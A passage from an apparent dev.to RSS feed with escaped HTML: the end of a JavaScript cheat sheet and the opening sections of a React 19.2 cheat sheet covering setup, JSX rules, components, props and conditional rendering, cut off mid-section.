&lt;a href="https://tc39.es/ecma262/" rel="noopener noreferrer"&gt;ECMAScript specification&lt;/a&gt;: the source of truth (read the intro for a feature history)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/tc39/proposals" rel="noopener noreferrer"&gt;TC39 proposals&lt;/a&gt;: what is coming next and at which stage&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://javascript.info" rel="noopener noreferrer"&gt;javascript.info&lt;/a&gt;: the best free deep-dive tutorial&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://exploringjs.com" rel="noopener noreferrer"&gt;Exploring JS by Axel Rauschmayer&lt;/a&gt;: thorough and modern&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://caniuse.com" rel="noopener noreferrer"&gt;caniuse&lt;/a&gt; and &lt;a href="https://web.dev/baseline" rel="noopener noreferrer"&gt;web.dev Baseline&lt;/a&gt;: browser support&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://node.green" rel="noopener noreferrer"&gt;node.green&lt;/a&gt;: Node.js feature support&lt;/li&gt;
&lt;li&gt;Tools: ESLint, Prettier, TypeScript, Vite, Vitest&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Final tip
&lt;/h2&gt;

&lt;p&gt;Do not try to memorize this in one go. Build small things (a todo app, a weather widget, a CLI script), return here when something breaks, and the patterns will stick. Master the core (scope, closures, &lt;code&gt;this&lt;/code&gt;, the event loop, promises) and everything else gets easier.&lt;/p&gt;

&lt;p&gt;If this helped, save it for revision or interview prep. &lt;strong&gt;Next up in the series: Next.js.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Found something outdated or wrong? Drop a comment and I will fix it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
    <item>
      <title>React Cheat Sheet 2026: Learn Once, Remember Forever (React 19.2)</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Fri, 23 Oct 2026 09:18:11 +0000</pubDate>
      <link>https://dev.to/devcodehub99/react-cheat-sheet-2026-learn-once-remember-forever-react-192-2bo2</link>
      <guid>https://dev.to/devcodehub99/react-cheat-sheet-2026-learn-once-remember-forever-react-192-2bo2</guid>
      <description>&lt;p&gt;Most React tutorials are long. Most cheat sheets are outdated. This one is neither.&lt;/p&gt;

&lt;p&gt;It is written for &lt;strong&gt;React 19.2&lt;/strong&gt; (the current docs at &lt;a href="https://react.dev" rel="noopener noreferrer"&gt;react.dev&lt;/a&gt;), and it works for three kinds of people:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Beginners and intermediates:&lt;/strong&gt; read it top to bottom like a crash course.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Job seekers:&lt;/strong&gt; jump to the Interview Rapid Fire and Gotchas sections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Working devs:&lt;/strong&gt; use the table of contents as a quick revision index.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Every concept follows the same pattern: what it is, the smallest useful example, and the trap to avoid.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;JavaScript you need first&lt;/li&gt;
&lt;li&gt;Setup and project structure&lt;/li&gt;
&lt;li&gt;How React thinks&lt;/li&gt;
&lt;li&gt;JSX rules&lt;/li&gt;
&lt;li&gt;Components and props&lt;/li&gt;
&lt;li&gt;Conditional rendering and lists&lt;/li&gt;
&lt;li&gt;Events&lt;/li&gt;
&lt;li&gt;State&lt;/li&gt;
&lt;li&gt;All built-in hooks at a glance&lt;/li&gt;
&lt;li&gt;useEffect&lt;/li&gt;
&lt;li&gt;useRef&lt;/li&gt;
&lt;li&gt;useReducer and Context&lt;/li&gt;
&lt;li&gt;Performance&lt;/li&gt;
&lt;li&gt;Suspense and Transitions&lt;/li&gt;
&lt;li&gt;Forms and Actions (React 19)&lt;/li&gt;
&lt;li&gt;What is new in React 19 and 19.2&lt;/li&gt;
&lt;li&gt;Server Components&lt;/li&gt;
&lt;li&gt;Custom hooks&lt;/li&gt;
&lt;li&gt;Portals, Fragments, Error Boundaries&lt;/li&gt;
&lt;li&gt;Styling&lt;/li&gt;
&lt;li&gt;Routing&lt;/li&gt;
&lt;li&gt;Data fetching and state management&lt;/li&gt;
&lt;li&gt;TypeScript with React&lt;/li&gt;
&lt;li&gt;Testing&lt;/li&gt;
&lt;li&gt;Accessibility and security&lt;/li&gt;
&lt;li&gt;Gotchas that bite everyone&lt;/li&gt;
&lt;li&gt;Interview Rapid Fire&lt;/li&gt;
&lt;li&gt;Legacy stuff you may still see&lt;/li&gt;
&lt;li&gt;Official resources&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. JavaScript you need first
&lt;/h2&gt;

&lt;p&gt;React is 80% JavaScript. If these are shaky, fix them first (&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide" rel="noopener noreferrer"&gt;MDN JavaScript guide&lt;/a&gt;).&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Destructuring&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;const { name, age } = user;&lt;/code&gt; &lt;code&gt;const [a, b] = arr;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spread&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;{ ...user, age: 30 }&lt;/code&gt; &lt;code&gt;[...items, newItem]&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Array methods&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Optional chaining&lt;/td&gt;
&lt;td&gt;&lt;code&gt;user?.address?.city&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nullish coalescing&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;value ?? 'default'&lt;/code&gt; (only null or undefined)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Template literals&lt;/td&gt;
&lt;td&gt;&lt;code&gt;`Hello ${name}`&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ES modules&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;export default X&lt;/code&gt; / &lt;code&gt;import X from './X'&lt;/code&gt; / &lt;code&gt;export { a, b }&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Async&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;async/await&lt;/code&gt;, &lt;code&gt;Promise.all&lt;/code&gt;, &lt;code&gt;fetch&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Closures&lt;/td&gt;
&lt;td&gt;A function remembers the variables around it. Explains stale state bugs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Setup and project structure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm create vite@latest my-app &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;--template&lt;/span&gt; react
&lt;span class="nb"&gt;cd &lt;/span&gt;my-app
npm &lt;span class="nb"&gt;install
&lt;/span&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use &lt;code&gt;--template react-ts&lt;/code&gt; for TypeScript.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Use when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vite&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Client-side SPA, dashboards, learning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Next.js&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Full-stack, SEO, server rendering, Server Components&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;React Router (framework mode)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Full-stack with React Router's data APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Expo&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;React Native mobile apps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Create React App is deprecated.&lt;/strong&gt; The React team officially sunset it in early 2025. Do not start new projects with it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Entry point:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// main.jsx&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;StrictMode&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createRoot&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-dom/client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./App.jsx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;createRoot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;root&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;StrictMode&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;App&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;StrictMode&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Typical structure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/
  main.jsx          entry point
  App.jsx           root component
  components/       reusable UI (Button, Modal)
  features/         feature folders (auth, cart)
  hooks/            custom hooks (useDebounce)
  pages/ or routes/ route-level components
  lib/ or utils/    helpers, API clients
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Naming rules:&lt;/strong&gt; components are &lt;code&gt;PascalCase&lt;/code&gt;, hooks start with &lt;code&gt;use&lt;/code&gt;, one component per file is a good default.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. How React thinks
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;UI = function of state.&lt;/strong&gt; You describe what the screen should look like for the current data. React figures out the DOM changes.&lt;/p&gt;

&lt;p&gt;Every update has 3 steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Trigger:&lt;/strong&gt; initial render, or a state update.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Render:&lt;/strong&gt; React calls your component functions to compute the new JSX.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit:&lt;/strong&gt; React updates the real DOM only where something changed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;A component re-renders when:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;its own state changes&lt;/li&gt;
&lt;li&gt;its parent re-renders (children re-render too, by default)&lt;/li&gt;
&lt;li&gt;a context it reads changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Rules of React (non-negotiable):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Components and hooks must be &lt;strong&gt;pure&lt;/strong&gt;: same inputs, same output.&lt;/li&gt;
&lt;li&gt;Never mutate props, state, or variables created before render.&lt;/li&gt;
&lt;li&gt;Side effects go in &lt;strong&gt;event handlers&lt;/strong&gt; or &lt;strong&gt;effects&lt;/strong&gt;, never in the render body.&lt;/li&gt;
&lt;li&gt;Only call hooks at the &lt;strong&gt;top level&lt;/strong&gt; of components or custom hooks. Not inside &lt;code&gt;if&lt;/code&gt;, loops, or nested functions.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Re-render does not mean the DOM is rebuilt. It means your function ran again.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. JSX rules
&lt;/h2&gt;

&lt;p&gt;JSX is syntax that compiles to JavaScript function calls. It is not HTML.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;HTML&lt;/th&gt;
&lt;th&gt;JSX&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;class&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;className&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;htmlFor&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;onclick&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;onClick&lt;/code&gt; (camelCase events)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;style="color:red"&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;style={{ color: 'red' }}&lt;/code&gt; (object, camelCase props)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;input /&amp;gt;&lt;/code&gt; (every tag must close)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;!-- comment --&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{/* comment */}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Card&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Total: &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;tax&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"/a.png"&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Product photo"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{}&lt;/code&gt; accepts any &lt;strong&gt;expression&lt;/strong&gt;, not statements (no &lt;code&gt;if&lt;/code&gt;, no &lt;code&gt;for&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;A component returns &lt;strong&gt;one root&lt;/strong&gt;. Use &lt;code&gt;&amp;lt;&amp;gt;...&amp;lt;/&amp;gt;&lt;/code&gt; (Fragment) to avoid extra divs.&lt;/li&gt;
&lt;li&gt;JSX escapes strings by default, which protects you from XSS. &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; turns that protection off.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. Components and props
&lt;/h2&gt;

&lt;p&gt;A component is a function that takes props and returns JSX.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;variant&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;primary&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;`btn btn-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;label&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
      &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Button&lt;/span&gt; &lt;span class="na"&gt;label&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Save"&lt;/span&gt; &lt;span class="na"&gt;variant&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"danger"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;handleSave&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Props are &lt;strong&gt;read-only&lt;/strong&gt;. Never write &lt;code&gt;props.x = 1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Set defaults with destructuring defaults (&lt;code&gt;variant = 'primary'&lt;/code&gt;). &lt;code&gt;defaultProps&lt;/code&gt; on function components was removed in React 19.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;children&lt;/code&gt; is whatever you put between the tags. This is &lt;strong&gt;composition&lt;/strong&gt;, React's answer to inheritance.&lt;/li&gt;
&lt;li&gt;Spread to forward many props: &lt;code&gt;&amp;lt;input {...rest} /&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Composition example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Card&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"card"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Card&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Hello&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Any JSX works here.&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;Card&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Pass data down with props. Pass events up with function props.&lt;/strong&gt; That is the entire data flow.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Conditional rendering and lists
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ternary: either or&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;isLoggedIn&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Dashboard&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Login&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// &amp;amp;&amp;amp; : show or nothing&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;hasError&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorMessage&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// early return&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Spinner&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
